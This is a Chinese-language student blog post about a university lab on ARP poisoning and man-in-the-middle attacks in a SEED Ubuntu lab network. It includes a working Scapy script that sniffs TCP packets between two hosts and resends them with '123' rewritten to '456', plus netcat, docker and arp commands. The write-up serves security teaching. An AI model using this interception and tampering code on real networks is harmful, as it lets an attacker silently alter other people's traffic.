那个晚上
谁家好人在这天全天满课啊,没错就是我了。20号的晚上我正式开始了安全综合实践课程,由于本次实验二内容很有趣因此在这里分享一下大致过程。
内容
内网攻防,arp中毒和netcat传输tcp数据包篡改。
环境
Ubuntu Seed,网段192.168.60.0/24
设备:攻击机HostM:192.168.60.3 eth0,被攻击机HostA:192.168.60.2,eth0,网关HostB:192.168.60.1,docker2。
要求
M进行arp中毒和中间人流量转发,A nc连接网关 B,M开启ip转发判断是否实现中间人,然后关闭ip转发,保持中毒状态,运行TCP数据包嗅探篡改和转发脚本,实现将A发往B的数据由123篡改为456。
代码实现
arp毒化和中间人伪造
监听脚本 listen.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #!/usr/bin/python
from scapy.all import *
MAC_A = "02:42:c0:a8:3c:02" MAC_B = "02:42:c9:92:f0:d5"
def spoof_pkt(pkt): a = IP(src=pkt[IP].src, dst=pkt[IP].dst) b = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags=pkt[TCP].flags, seq=pkt[TCP].seq, ack=pkt[TCP].ack)
data = bytes(pkt[TCP].payload) # 将payload转换为字节串 print("**** %s, length: %d" % (data, len(data))) newdata = data.replace(b'123', b'456') # 使用字节串替换 newpkt = a/b/newdata
send(newpkt)
f = 'tcp and (ether src ' + MAC_A + ' or ether src ' + MAC_B + ' )' pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
|
最终结果
其它有关代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| nc -ln 9090 nc <ip> <port>
docker run <name> docker start <name> docker exec -it <name> /bin/bash docker ps -a docker cp <name>:/../.. test.txt docker cp test.txt <name>:/../.. arp -a arp -d <ip> arp -n
sudo -i Iptables -P FORWARD ACCEPT
|